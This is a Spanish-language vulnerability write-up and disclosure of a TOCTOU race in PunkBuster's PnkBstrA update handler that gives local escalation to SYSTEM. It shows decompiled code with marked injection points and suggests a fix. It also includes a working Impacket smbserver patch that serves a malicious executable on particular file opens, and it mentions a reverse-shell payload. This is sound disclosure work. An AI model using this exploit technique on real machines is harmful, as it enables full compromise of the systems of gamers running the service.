
PunkBuster LPI a NT AUTHORITY\SYSTEM

PunkBuster se instala como dos servicios y un controlador de kernel opcional?
PnkBstrA: Servicio que se ejecuta constantemente en segundo plano y se encarga de gestionar PunkBuster en su conjuntoPnkBstrB: Servicio que se inicia cuando comienza un juego protegido. Cuenta con más funcionalidad que su contraparte A.Ambos servicios están estructurados de manera similar, escuchando UDP en localhost en un puerto dentro del rango [44301, 44400].
Una vez que encuentra un puerto, se escribe en el valor Port en HKLM:\SOFTWARE\Even Balance\PnkBstrA o HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.
Cada solicitud se almacena en un búfer global de 1500 bytes de longitud (sin embargo, solo se reciben 1499 bytes para un terminador NUL).
No existe una estructura estándar para los datos de la solicitud, pero esta es su estructura habitual:
Los tipos de solicitud en PnkBstrA son los siguientes:
l: Cargar: Inicia y actualiza PnkBstrB
PnkBstrB actualizadou: Descargar: Detiene PnkBstrBv: Versión: Simplemente devuelve la versiónm: Monitorizar: Toma un PID y comprueba si el DLL del cliente de PunkBuster (pbcl.dll) está en el proceso, volcando su memoria si está presente.El manejador de carga (l) contiene una vulnerabilidad de tipo TOCTOU, que conduce a una escalada de privilegios local como NT AUTHORITY\SYSTEM.
El flujo del manejador es algo así:
PnkBstrBEven Balance, Inc.C:\Windows\SysWOW64\PnkBstrB.exe o C:\Windows\System32\PnkBstrB.exe, según la plataformaPnkBstrB ejecutándose como LocalSystem con el archivo recién copiado.El problema aquí es que el archivo que PnkBstrA está manipulando se reabre muchas veces para cada operación, lo que lleva a una situación en la que un atacante podría modificar el archivo entre operaciones.
Esto puede provocar que, después de que el archivo sea validado por su certificado, sea intercambiado y un archivo malicioso termine siendo el ejecutable del servicio PnkBstrB. Este ejecutable permitiría a un usuario sin privilegios elevarse a NT AUTHORITY\SYSTEM.
La descompilación relevante se muestra aquí:
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
Una solución sencilla sería copiar primero el archivo a una ubicación temporal pero segura (es decir, PnkBstrB.exe.tmp), y calcular el MD5 y las comprobaciones desde allí. De esta manera, el archivo no podrá ser editado por un actor malicioso. Esto también aseguraría que se abra una única copia del archivo, lo que previene la explotación por SMB.
Un escenario de ataque podría consistir en proporcionar un archivo malicioso, esperar a que se calcule el MD5, reemplazar el archivo por el PnkBstrB.exe original para que las comprobaciones de WinVerifyTrust y de certificado pasen, y luego reemplazarlo de nuevo por el archivo malicioso, para que el segundo MD5 pase y el archivo sea copiado y ejecutado.
Sin embargo, este escenario es muy difícil de ejecutar, ya que reemplazar el archivo es difícil, y modificarlo mientras está abierto por PnkBstrA no parece aplicar los cambios.
Esto se debe a que es difícil programar nuestro código en el INJECTION POINT 1 como se ve en el código. Probablemente sea posible usando muchos hilos de prioridad crítica de tiempo, algunos de los cuales intentan constantemente reemplazar el archivo, y otros bloquean núcleos concurrentes en esperas activas (busy waits).
Otro enfoque sería intentar tener una colisión MD5 entre PnkBstrB y el archivo malicioso. Esto funcionaría utilizando primero el archivo legítimo como candidato para el primer MD5 y comprobando su certificado. Sin embargo, después de eso tenemos un buen margen de 750 milisegundos o más para reemplazar el archivo por el nuestro. Entonces, el segundo MD5 pasaría y nuestro archivo sería inyectado. Aunque mientras desarrollaba esto, me dio pereza esperar a que se generara una colisión, así que opté por otro enfoque.
Este código depende de Windows y utiliza fopen, que se asigna a las funciones de E/S propias de Windows. Por definición, esto significaría que los recursos compartidos SMB serían accesibles. Además, MSDN menciona que este comportamiento es compatible:
fopenacepta rutas UNC y rutas que implican unidades de red asignadas, siempre que el sistema que ejecuta el código tenga acceso al recurso compartido o a la unidad asignada en el momento de la ejecución.
Esto significa que podríamos usar nuestro primer enfoque, pero como el código dependería de nuestro recurso compartido SMB, enviamos diferentes archivos dependiendo del número de veces que se solicitó el archivo.
Modificando el smbserver de Impacket, es posible obtener este comportamiento.
El archivo .patch completo se puede encontrar aquí. Los cambios clave son:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
Como se puede ver, si es la primera vez que abrimos el archivo (primer MD5) o al menos la octava vez (copia del archivo en adelante), enviamos al cliente el archivo malicioso, mientras que en los demás casos enviamos el original.
El código del archivo malicioso se puede encontrar aquí, que consiste en un simple servicio "hello world" con una reverse shell.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
Se contactó a EvenBalance en múltiples ocasiones desde 2025-02-15 mediante diferentes métodos, pero no respondió.
Este problema fue divulgado por completo el 2025-05-10.